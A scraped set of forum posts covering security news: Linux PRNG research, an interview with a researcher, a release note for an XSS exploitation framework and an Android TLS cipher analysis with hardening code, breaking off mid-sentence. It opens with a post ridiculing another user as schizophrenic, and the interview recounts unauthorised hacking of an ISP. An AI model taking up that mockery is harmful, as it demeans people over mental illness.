Nytro

Sa luam pe rand: 1. Generarea dinamica de date. Cica pentru aceleasi date de intrare, ai date de iesire diferite. Care e rostul atunci si cum se vor DECRYPTA datele? Cum se ajunge ca avand aceleasi date de intrare sa ai date diferite de iesire? Nu ai zis nimic de niciun PRNG. 2. Ce anume genereaza acele miliarde de ecuatiii diferentiale? 3. Bazate pe valorile de la pasul de timp anterior. Care valori? 4. Si de unde vor avea NOI valori? De ce? 5. Ce legatura au retelele neurale? 6. Se poate incripta in sistem la mai mult de un singur pas. Ha? De aici: Sincer, cred ca esti doar nebun si ca "geniu" nu are nicio legatura cu balivernele pe care le spui acolo. Ar trebui sa consulti un medic: http://ro.wikipedia.org/wiki/Schizofrenie O persoan? diagnosticat? cu schizofrenie poate avea halucina?ii (cele mai frecvente sunt reprezentate de auzirea unor voci), deliruri (adesea bizare sau de natur? persecutorie) ?i gândire ?i vorbire dezorganizate. Ultima poate baleia de la pierderea ?irului gândirii la fraze vag conectate ca în?eles ?i la incoeren??, cunoscut? drept schizofazie, în cazuri severe. Ai aceeasi problema ca tipa asta: http://www.youtube.com/watch?v=N8kQ7QetkdQ Pe scurt, plecand de la o idee ireala (nebuneasca si imposibila dupa cum tu ziceai), incerci sa o dezvolti dar o imbini cu niste lucruri care nu au nici cea mai mica legatura cu ideea ta. In final, iese un video ca cel de mai sus sau ca probabil multe altele, care nu are nici cea mai mica logica. Spre deosebire de tipa din videoclipul de mai sus, care probabil "e pasionata" de limba si literatura romana, tu esti pasionat de IT si de cryptografie. Rezultatul e acelasi.

https://www.facebook.com/photo.php?v=642481769116063

Social engineering bre.

[h=1]Microsoft Releases Remote Desktop for Android and iOS[/h] Android/iOS: Alongside Windows 8.1, Microsoft released its Remote Desktop application today for both Android and iOS. This makes it easy to control your Windows desktop from your Android or iOS device. As you'd expect, you can control pretty much everything on your Windows computer right from your smartphone or tablet. Once you're connected, you can control your computer using the touch interface with full support for Windows gestures. Everything's authenticated as well, so wherever you are your connection will remain secure. Microsoft Remote Desktop (Free) | Google Play Microsoft Remote Desktop (Free) | iTunes App Store Sursa: Microsoft Releases Remote Desktop for Android and iOS

[h=3]NCSAM – an Interview with Cesar Cerrudo[/h] By Cesar Cerrudo @cesarcer and Craig Brophy @craigbrophy Today we continue our support for National Cyber Security Awareness Month, by interviewing Cesar Cerrudo, Chief Technology Officer for IOActive Labs. Cesar provides us with some insight of how he got into IT security and why it's important to be persistent! IOActive: How did you get into security? Cesar: I think my first hacks were when I was 10 years old or so. I modified BASIC code on CZ Spectrum games and also cheated games by loading different parts of the code from a cassette (yes not floppy disk at that time and loading games from a cassette took around 5-10mins and if something went wrong you have to try again, I don’t miss that at all ), but after that I was mostly away from computers until I was 19 years old and went to college. I was always interested on learning to hack but didn't have enough resources or access to a PC. So while I was at college I started to read books, articles, etc. - anything I could get my hands on. I used to play (and sometimes break) a friend’s PC (hi Flaco ) once in a while when I had the opportunity. I remember learning Assembly language just from reading books and looking at virus code printed in papers. Finding that virus code and learning from it was amazing (not having a PC wasn’t a problem; a PC is just a tool). Later on, with some internet access (an hour or so a week), it became easier since lots of information became available and I got access to a PC; so I started to try the things I read about and started to build my own tools, etc. When you're learning and reading, one topic takes you to another topic and so on, but I focused on things that I was more familiar with - like web apps, database servers, Microsoft Windows, etc. Luckily in Argentina it wasn’t illegal to hack at that time so I could try things in real life and production systems . A long time ago, I remember walking to the office of the CEO of my local ISP provider handing him hundred thousands of users, passwords and credit card information and telling him that their servers where hackable and that I hacked them. I know this sounds crazy but I was young and in the end they thank me, and I helped them identify and fix the vulnerabilities. I asked for a job but no luck, don’t know why . I also did other crazy hacks when I was young but better to not talk about that , nothing criminal. I used to report the vulnerabilities but most admins didn’t like it. I recommend not engaging in anything illegal, as nowadays you can easily end up in jail if you try to hack a system. Today it is simpler to build a lab and play safely at home. Luckily those crazy times ended and soon I started to find vulnerabilities in known and widely used software such as SQL Server, Oracle, Windows, etc., I was then also able to create some new attack and exploitation techniques, etc. IOActive: What do you find most exciting about security? Cesar: Learning new things, challenges, solving difficult problems, etc. You get to deeply study how some technologies work and can identify security problems on software/hardware massively used worldwide that sometimes have big impact on everyone's lives since everything has become digital nowadays. IOActive: What do you like to research, and why? Cesar: This is related to previous answers, but I like challenges, learning and hacking stuff. IOActive: What advice would you give to someone who would like to become a pentester/researcher? Cesar: My advice would be if you are interested in or like hacking, nothing can stop you. Everything is out there to learn. You just need to try hard and put in a lot of effort without ever giving up. Nothing is impossible it's just matter of effort and persistence. Posted by Cesar Sursa: IOActive Labs Research: NCSAM – an Interview with Cesar Cerrudo

Paper Questions Robustness of Two Linux PRNGs [h=1]Paper Questions Robustness of Two Linux PRNGs[/h] by Michael Mimoso The sanctity of the dev/random random number generator used in the Linux kernel has been a hot-button issue for more than a month. A petition posted to change.org in September to remove RdRand from dev/random, for example, was met with fury from Linus Torvalds who called the developer who posted it “ignorant,” suggesting not so nicely too that the developer learn more about cryptography. Now a host of researchers from New York University and Northeastern University have cast doubt on the two Linux pseudo RNGs overall, dev/random and dev/urandom. In a paper released this week, “Security Analysis of Pseudo-Random Number Generators with Input: /dev/random is Not Robust,” the researchers explain attacks that demonstrate inherent weaknesses in the respective algorithms, and also propose what they say is a simpler and more efficient PRNG. “We show several attacks proving that these PRNGs are not robust according to our definition, and do not accumulate entropy properly. These attacks are due to the vulnerabilities of the entropy estimator and the internal mixing function of the Linux PRNGs,” the researchers wrote in their paper. “These attacks against the Linux PRNG show that it does not satisfy the ‘robustness’ notion of security, but it remains unclear if these attacks lead to actual exploitable vulnerabilities in practice.” This is not the first time hardware-based security operations have been challenged in the academic world. Most recently, a team of researchers demonstrated how they were able to insert malware onto a chip, yet to detection mechanisms, the chip appears to be unchanged. They did so by changing the dopant polarity of transistors, leaving wiring and other circuitry untouched; dopant is added to semiconductors enabling it to conduct electricity. The PRNG attacks against dev/random take issue with the randomness of the numbers being generated and how the PRNG could be manipulated in order for a third party to be able to guess or view a key. This is exactly the issue that forced RSA Security’s hand with regard to the Dual EC DRBG algorithm. RSA recommended to developers to stop using the RNG for fear that it might be compromised in some way by an intelligence agency. RSA’s recommendation came on the heels of a similar missive from NIST; Dual EC DRBG is the default random number generator for a number of RSA products including the BSAFE crypto libraries and RSA key management product RSA Data Protection Manager. While there are no immediate fears the Linux PRNG in dev/random is compromised, the researchers do painstakingly look at the behavior of the entropy estimator and the mixing function used to refresh its internal state, the paper said. “We have shown vulnerabilities on the entropy estimator due to its use when data is transferred between pools in Linux PRNG,” the paper said; the researchers, as a result, recommend that the functions of a PRNG do not rely on such an estimator. Sursa: /Dev/Random PRNG in Linux Questioned | Threatpost

OWASP Xenotix XSS Exploit Framework V4.5 OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1500+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes highly offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. V4.5 Additions ========== JavaScript Beautifier Pause and Resume support for Scan Jump to Payload Cookie Support for POST Request Cookie Support and Custom Headers for Header Scanner Added TRACE method Support Improved Interface Better Proxy Support WAF Fingerprinting Load Files <exploitation module> Hash Calculator Hash Detector Download: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework#tab=Downloads Regards, Ajin Abraham Information Security Enthusiast. AJIN ABRAHAM | Defcon Kerala OpenSecurity | +91-9633325997 Sursa: WebApp Sec: OWASP Xenotix XSS Exploit Framework 4.5 is Relesed

Insecurities in the Linux /dev/random New paper: "Security Analysis of Pseudo-Random Number Generators with Input: /dev/random is not Robust, by Yevgeniy Dodis, David Pointcheval, Sylvain Ruhault, Damien Vergnaud, and Daniel Wichs. Abstract: A pseudo-random number generator (PRNG) is a deterministic algorithm that produces numbers whose distribution is indistinguishable from uniform. A formal security model for PRNGs with input was proposed in 2005 by Barak and Halevi (BH). This model involves an internal state that is refreshed with a (potentially biased) external random source, and a cryptographic function that outputs random numbers from the continually internal state. In this work we extend the BH model to also include a new security property capturing how it should accumulate the entropy of the input data into the internal state after state compromise. This property states that a good PRNG should be able to eventually recover from compromise even if the entropy is injected into the system at a very slow pace, and expresses the real-life expected behavior of existing PRNG designs. Unfortunately, we show that neither the model nor the specific PRNG construction proposed by Barak and Halevi meet this new property, despite meeting a weaker robustness notion introduced by BH. From a practical side, we also give a precise assessment of the security of the two Linux PRNGs, /dev/random and /dev/urandom. In particular, we show several attacks proving that these PRNGs are not robust according to our definition, and do not accumulate entropy properly. These attacks are due to the vulnerabilities of the entropy estimator and the internal mixing function of the Linux PRNGs. These attacks against the Linux PRNG show that it does not satisfy the "robustness" notion of security, but it remains unclear if these attacks lead to actual exploitable vulnerabilities in practice. Finally, we propose a simple and very efficient PRNG construction that is provably robust in our new and stronger adversarial model. We present benchmarks between this construction and the Linux PRNG that show that this construction is on average more efficient when recovering from a compromised internal state and when generating cryptographic keys. We therefore recommend to use this construction whenever a PRNG with input is used for cryptography. Sursa: https://www.schneier.com/blog/archives/2013/10/insecurities_in.html

Why Android SSL was downgraded from AES256-SHA to RC4-MD5 in late 2010 tl;dr Android is using the combination of horribly broken RC4 and MD5 as the first default cipher on all SSL connections. This impacts all apps that did not care enough to change the list of enabled ciphers (i.e. almost all existing apps). This post investigates why RC4-MD5 is the default cipher, and why it replaced better ciphers which were in use prior to the Android 2.3 release in December 2010. Preface Some time ago, I was adding secure authentication to my APRSdroid app for Amateur Radio geolocation. While debugging its TLS handshake, I noticed that RC4-MD5 is leading the client's list of supported ciphers and thus wins the negotiation. As the task at hand was about authentication, not about secrecy, I did not care. However, following speculations about what the NSA can decrypt, xnyhps' excellent post about XMPP clients (make sure to read the whole series) brought it into my focus again and I seriously asked myself what reasons led to it. Status Quo Analysis First, I fired up Wireshark, started yaxim on my Android 4.2.2 phone (CyanogenMod 10.1.3 on a Galaxy Nexus) and checked the Client Hello packet sent. Indeed, RC4-MD5 was first, followed by RC4-SHA1: To quote from RFC 2246: "The CipherSuite list, passed from the client to the server in the client hello message, contains the combinations of cryptographic algorithms supported by the client in order of the client's preference (favorite choice first)." Thus, the server is encouraged to actually use RC4-MD5 if it is not explicitly forbidden by its configuration. I crammed out my legacy devices and cross-checked Android 2.2.1 (CyanogenMod 6.1.0 on HTC Dream), 2.3.4 (Samsung original ROM on Galaxy SII) and 2.3.7 (CyanogenMod 7 on a Galaxy 5): [TABLE] [TR] [TH]Android 2.2.1[/TH] [TH]Android 2.3.4, 2.3.7[/TH] [TH]Android 4.2.2, 4.3[/TH] [/TR] [TR] [TD]DHE-RSA-AES256-SHA[/TD] [TD]RC4-MD5[/TD] [TD]RC4-MD5[/TD] [/TR] [TR] [TD]DHE-DSS-AES256-SHA[/TD] [TD]RC4-SHA[/TD] [TD]RC4-SHA[/TD] [/TR] [TR] [TD]AES256-SHA[/TD] [TD]AES128-SHA[/TD] [TD]AES128-SHA[/TD] [/TR] [TR] [TD]EDH-RSA-DES-CBC3-SHA[/TD] [TD]DHE-RSA-AES128-SHA[/TD] [TD]AES256-SHA[/TD] [/TR] [TR] [TD]EDH-DSS-DES-CBC3-SHA[/TD] [TD]DHE-DSS-AES128-SHA[/TD] [TD]ECDH-ECDSA-RC4-SHA[/TD] [/TR] [TR] [TD]DES-CBC3-SHA[/TD] [TD]DES-CBC3-SHA[/TD] [TD]ECDH-ECDSA-AES128-SHA[/TD] [/TR] [TR] [TD]DES-CBC3-MD5[/TD] [TD]EDH-RSA-DES-CBC3-SHA[/TD] [TD]ECDH-ECDSA-AES256-SHA[/TD] [/TR] [TR] [TD]DHE-RSA-AES128-SHA[/TD] [TD]EDH-DSS-DES-CBC3-SHA[/TD] [TD]ECDH-RSA-RC4-SHA[/TD] [/TR] [TR] [TD]DHE-DSS-AES128-SHA[/TD] [TD]DES-CBC-SHA[/TD] [TD]ECDH-RSA-AES128-SHA[/TD] [/TR] [TR] [TD]AES128-SHA[/TD] [TD]EDH-RSA-DES-CBC-SHA[/TD] [TD]ECDH-RSA-AES256-SHA[/TD] [/TR] [TR] [TD]RC2-CBC-MD5[/TD] [TD]EDH-DSS-DES-CBC-SHA[/TD] [TD]ECDHE-ECDSA-RC4-SHA[/TD] [/TR] [TR] [TD]RC4-SHA[/TD] [TD]EXP-RC4-MD5[/TD] [TD]ECDHE-ECDSA-AES128-SHA[/TD] [/TR] [TR] [TD]RC4-MD5[/TD] [TD]EXP-DES-CBC-SHA[/TD] [TD]ECDHE-ECDSA-AES256-SHA[/TD] [/TR] [TR] [TD]RC4-MD5[/TD] [TD]EXP-EDH-RSA-DES-CBC-SHA[/TD] [TD]ECDHE-RSA-RC4-SHA[/TD] [/TR] [TR] [TD]EDH-RSA-DES-CBC-SHA[/TD] [TD]EXP-EDH-DSS-DES-CBC-SHA[/TD] [TD]ECDHE-RSA-AES128-SHA[/TD] [/TR] [TR] [TD]EDH-DSS-DES-CBC-SHA[/TD] [TD][/TD] [TD]ECDHE-RSA-AES256-SHA[/TD] [/TR] [TR] [TD]DES-CBC-SHA[/TD] [TD][/TD] [TD]DHE-RSA-AES128-SHA[/TD] [/TR] [TR] [TD]DES-CBC-MD5[/TD] [TD][/TD] [TD]DHE-RSA-AES256-SHA[/TD] [/TR] [TR] [TD]EXP-EDH-RSA-DES-CBC-SHA[/TD] [TD][/TD] [TD]DHE-DSS-AES128-SHA[/TD] [/TR] [TR] [TD]EXP-EDH-DSS-DES-CBC-SHA[/TD] [TD][/TD] [TD]DHE-DSS-AES256-SHA[/TD] [/TR] [TR] [TD]EXP-DES-CBC-SHA[/TD] [TD][/TD] [TD]DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC2-CBC-MD5[/TD] [TD][/TD] [TD]ECDH-ECDSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC2-CBC-MD5[/TD] [TD][/TD] [TD]ECDH-RSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC4-MD5[/TD] [TD][/TD] [TD]ECDHE-ECDSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC4-MD5[/TD] [TD][/TD] [TD]ECDHE-RSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-RSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-DSS-DES-CBC3-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-RSA-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-DSS-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-RC4-MD5[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-EDH-RSA-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-EDH-DSS-DES-CBC-SHA[/TD] [/TR] [/TABLE] As can be seen, Android 2.2.1 came with a set of AES256-SHA1 ciphers first, followed by 3DES and AES128. Android 2.3 significantly reduced the security by removing AES256 and putting the broken RC4-MD5 on the prominent first place, followed by the not-so-much-better RC4-SHA1. Wait... What? Yes, Android versions before 2.3 were using AES256 > 3DES > AES128 > RC4, and starting with 2.3 it was now: RC4 > AES128 > 3DES. Also, the recently broken MD5 suddenly became the favorite MAC (Update: MD5 in TLS is OK, as it is combining two different variants). As Android 2.3 was released in late 2010, speculations about the NSA pouring money on Android developers to sabotage all of us poor users arose immediately. I needed to do something, so I wrote a minimal test program (APK, source) and single-stepped it to find the origin of the default cipher list. It turned out to be in Android's libcore package, NativeCrypto.getDefaultCipherSuites() which returns a hardcoded String array starting with "SSL_RSA_WITH_RC4_128_MD5". Diving Into the Android Source Going back on that file's change history revealed interesting things, like the addition of TLS v1.1 and v1.2 and its almost immediate removal with a suspicious commit message (taking place between Android 4.0 and 4.1, possible reasoning), added support for Elliptic Curves and AES256 in Android 3.x, and finally the addition of our hardcoded string list sometime before Android 2.3: public static String[] getDefaultCipherSuites() {- int ssl_ctx = SSL_CTX_new(); - String[] supportedCiphers = SSL_CTX_get_ciphers(ssl_ctx); - SSL_CTX_free(ssl_ctx); - return supportedCiphers; + return new String[] { + "SSL_RSA_WITH_RC4_128_MD5", + "SSL_RSA_WITH_RC4_128_SHA", + "TLS_RSA_WITH_AES_128_CBC_SHA", ... + "SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA" + }; } The commit message tells us: We now have a default cipher suite list that is chose to match RI behavior and priority, not based on OpenSSLs default and priorities. Translated into English: before, we just used the list from OpenSSL (which was really good), now we make our own list... with blackjack! ...and hookers! with RC4! ...and MD5! The test suite comes with another hint: // Note these are added in priority order as defined by RI 6 documentation. That RI 6 for sure has nothing to do with MI 6, but stands for Reference Implementation, the Sun (now Oracle) Java SDK version 6. So what the fine Google engineers did to reduce our security was merely to copy what was there, defined by the inventors of Java! Cipher Order in the Java Runtime In the Java reference implementation, the code responsible for creating the cipher list is split into two files. First, a priority-ordered set of ciphers is constructed in the CipherSuite class: // Definition of the CipherSuites that are enabled by default. // They are listed in preference order, most preferred first. int p = DEFAULT_SUITES_PRIORITY * 2; add("SSL_RSA_WITH_RC4_128_MD5", 0x0004, --p, K_RSA, B_RC4_128, N); add("SSL_RSA_WITH_RC4_128_SHA", 0x0005, --p, K_RSA, B_RC4_128, N); ... Then, all enabled ciphers with sufficient priority are added to the list for CipherSuiteList.getDefault(). The cipher list has not experienced relevant changes since the initial import of Java 6 into Hg, when the OpenJDK was brought to life. Going back in time reveals that even in the 1.4.0 JDK, the first one incorporating the JSEE extension for SSL/TLS, the list was more or less the same: [TABLE] [TR] [TH]Java 1.4.0 (2002)[/TH] [TH]Java 1.4.2_19, 1.5.0 (2004)[/TH] [TH]Java 1.6 (2006)[/TH] [/TR] [TR] [TD]SSL_RSA_WITH_RC4_128_SHA[/TD] [TD]SSL_RSA_WITH_RC4_128_MD5[/TD] [TD]SSL_RSA_WITH_RC4_128_MD5[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_RC4_128_MD5[/TD] [TD]SSL_RSA_WITH_RC4_128_SHA[/TD] [TD]SSL_RSA_WITH_RC4_128_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_DES_CBC_SHA[/TD] [TD]TLS_RSA_WITH_AES_128_CBC_SHA[/TD] [TD]TLS_RSA_WITH_AES_128_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [TD]TLS_DHE_RSA_WITH_AES_128_CBC_SHA[/TD] [TD]TLS_DHE_RSA_WITH_AES_128_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DHE_DSS_WITH_DES_CBC_SHA[/TD] [TD]TLS_DHE_DSS_WITH_AES_128_CBC_SHA[/TD] [TD]TLS_DHE_DSS_WITH_AES_128_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_EXPORT_WITH_RC4_40_MD5[/TD] [TD]SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_NULL_MD5[/TD] [TD]SSL_RSA_WITH_DES_CBC_SHA[/TD] [TD]SSL_RSA_WITH_DES_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_NULL_SHA[/TD] [TD]SSL_DHE_RSA_WITH_DES_CBC_SHA[/TD] [TD]SSL_DHE_RSA_WITH_DES_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_WITH_RC4_128_MD5[/TD] [TD]SSL_DHE_DSS_WITH_DES_CBC_SHA[/TD] [TD]SSL_DHE_DSS_WITH_DES_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_WITH_DES_CBC_SHA[/TD] [TD]SSL_RSA_EXPORT_WITH_RC4_40_MD5[/TD] [TD]SSL_RSA_EXPORT_WITH_RC4_40_MD5[/TD] [/TR] [TR] [TD]SSL_DH_anon_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_EXPORT_WITH_RC4_40_MD5[/TD] [TD]SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]TLS_EMPTY_RENEGOTIATION_INFO_SCSV[/TD] [/TR] [/TABLE] The original list resembles the CipherSpec definition in RFC 2246 from 1999, sorted numerically with the NULL and 40-bit ciphers moved down. Somewhere between the first release and 1.4.2, DES was deprecated, TLS was added to the mix (bringing in AES) and MD5 was pushed in front of SHA1 (which makes one wonder why). After that, the only chage was the addition of TLS_EMPTY_RENEGOTIATION_INFO_SCSV, which is not a cipher but just an information token for the server. Java 7 added Elliptic Curves and significantly improved the cipher list in 2011, but Android is based on JDK 6, making the effective default cipher list over 10 years old now. Conclusion The cipher order on the vast majority of Android devices was defined by Sun in 2002 and taken over into the Android project in 2010 as an attempt to improve compatibility. RC4 is considered problematic since 2001 (remember WEP?), MD5 was broken in 2009. The change from the strong OpenSSL cipher list to a hardcoded one starting with weak ciphers is either a sign of horrible ignorance, security incompetence or a clever disguise for an NSA-influenced manipulation - you decide! (This was before BEAST made the other ciphers in TLS less secure in 2011 and RC4 gained momentum again) All that notwithstanding, now is the time to get rid of RC4-MD5, in your applications as well as in the Android core! Call your representative on the Google board and let them know! Appendix A: Making your app more secure If your app is only ever making contact to your own server, feel free to choose the best cipher that fits into your CPU budget! Otherwise, it is hard to give generic advice for an app to support a wide variety of different servers without producing obscure connection errors. Update: Server-Side Changes The cipher priority order is defined by the client, but the server has the option to override it with its own. Server operators should read the excellent best practices document by SSLLabs. Further resources for server admins: Mozilla OpSec guide Apache config helper for Debian/Wheezy Changing the client cipher list For client developers, I am recycling the well-motivated browser cipher suite proposal written by Brian Smith at Mozilla, even though I share Bruce Schneier's scepticism on EC cryptography. The following is a subset of Brian's ciphers which are supported on Android 4.2.2, and the last three ciphers are named SSL_ instead of TLS_ (Warning: BEAST ahead!). // put this in a place where it can be reusedstatic final String ENABLED_CIPHERS[] = { "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_RC4_128_SHA", "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "SSL_RSA_WITH_3DES_EDE_CBC_SHA", "SSL_RSA_WITH_RC4_128_SHA", "SSL_RSA_WITH_RC4_128_MD5", }; // get a new socket from the factory SSLSocket s = (SSLSocket)sslcontext.getSocketFactory().createSocket(host, port); // IMPORTANT: set the cipher list before calling getSession(), // startHandshake() or reading/writing on the socket! s.setEnabledCipherSuites(ENABLED_CIPHERS); ... Use TLS v1.2! By default, TLS version 1.0 is used, and the more recent protocol versions are disabled. Some servers used to be broken when contacted using v1.2, so this approach seemed a good conservative choice over a year ago. At least for XMPP, an attempt to enforce TLS v1.2 is being made. You can follow with your own app easily: // put this in a place where it can be reusedstatic final String ENABLED_PROTOCOLS[] = { "TLSv1.2", "TLSv1.1", "TLSv1" }; // put this right before setEnabledCipherSuites()! s.setEnabledProtocols(ENABLED_PROTOCOLS); Use NetCipher! NetCipher is an Android library made by the Guardian Project to improve network security for mobile apps. It comes with a StrongTrustManager to do more thorough certificate checks, an independent Root CA store, and code to easily route your traffic through the Tor network using Orbot. Use AndroidPinning! AndroidPinning is another Android library, written by Moxie Marlinspike to allow pinning of server certificates, improving security against government-scale MitM attacks. Use this if your app is made to communicate with a specific server! Use MemorizingTrustManager! MemorizingTrustManager by yours truly is yet another Android library. It allows your app to ask the user if they want to trust a given self-signed/untrusted certificate, improving support for regular connections to private services. If you are writing an XMPP client or a private cloud sync app, use this! Appendix B: Apps that do care Android Browser Checks of the default Android Browser revealed that at least until Android 2.3.7 the Browser was using the default cipher list of the OS, participating in the RC4 regression. As of 4.2.2, the Browser comes with a longer, better, stronger cipher list: ECDHE-RSA-AES256-SHA ECDHE-ECDSA-AES256-SHA SRP-DSS-AES-256-CBC-SHA SRP-RSA-AES-256-CBC-SHA DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA ECDH-RSA-AES256-SHA ECDH-ECDSA-AES256-SHA AES256-SHA ECDHE-RSA-DES-CBC3-SHA ECDHE-ECDSA-DES-CBC3-SHA SRP-DSS-3DES-EDE-CBC-SHA SRP-RSA-3DES-EDE-CBC-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-DES-CBC3-SHA ECDH-RSA-DES-CBC3-SHA ECDH-ECDSA-DES-CBC3-SHA DES-CBC3-SHA ECDHE-RSA-AES128-SHA ECDHE-ECDSA-AES128-SHA SRP-DSS-AES-128-CBC-SHA SRP-RSA-AES-128-CBC-SHA DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA ECDH-RSA-AES128-SHA ECDH-ECDSA-AES128-SHA AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-ECDSA-RC4-SHA ECDH-RSA-RC4-SHA ECDH-ECDSA-RC4-SHA RC4-SHA RC4-MD5 Update: Surprisingly, the Android WebView class (tested on Android 4.0.4) is also using the better ciphers. Update: Google Chrome The Google Chrome browser (version 30.0.1599.82, 2013-10-11) serves the following list: ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-SHA ECDHE-ECDSA-AES256-SHA DHE-DSS-AES256-GCM-SHA384 DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-SHA256 DHE-DSS-AES256-SHA256 DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA AES256-GCM-SHA384 AES256-SHA256 AES256-SHA ECDHE-RSA-DES-CBC3-SHA ECDHE-ECDSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-DES-CBC3-SHA DES-CBC3-SHA ECDHE-RSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA256 ECDHE-RSA-AES128-SHA ECDHE-ECDSA-AES128-SHA DHE-DSS-AES128-GCM-SHA256 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-SHA256 DHE-DSS-AES128-SHA256 DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA AES128-GCM-SHA256 AES128-SHA256 AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-ECDSA-RC4-SHA RC4-SHA RC4-MD5 This one comes with AES256-GCM and SHA384! Good work, Google! Now please go and make these the default for the Android runtime! Update: Firefox Firefox Browser for Android (version 24.0 from F-Droid) comes with its own cipher suite as well. However, contrary to Chrome, it is missing the GCM ciphers to mitigate the BEAST attack. ECDHE-ECDSA-AES256-SHA ECDHE-RSA-AES256-SHA DHE-RSA-CAMELLIA256-SHA DHE-DSS-CAMELLIA256-SHA DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA ECDH-RSA-AES256-SHA ECDH-ECDSA-AES256-SHA CAMELLIA256-SHA AES256-SHA ECDHE-ECDSA-RC4-SHA ECDHE-ECDSA-AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-RSA-AES128-SHA DHE-RSA-CAMELLIA128-SHA DHE-DSS-CAMELLIA128-SHA DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA ECDH-RSA-RC4-SHA ECDH-RSA-AES128-SHA ECDH-ECDSA-RC4-SHA ECDH-ECDSA-AES128-SHA SEED-SHA CAMELLIA128-SHA RC4-SHA RC4-MD5 AES128-SHA ECDHE-ECDSA-DES-CBC3-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-DES-CBC3-SHA ECDH-RSA-DES-CBC3-SHA ECDH-ECDSA-DES-CBC3-SHA FIPS-3DES-EDE-CBC-SHA DES-CBC3-SHA My favorite pick from that list: 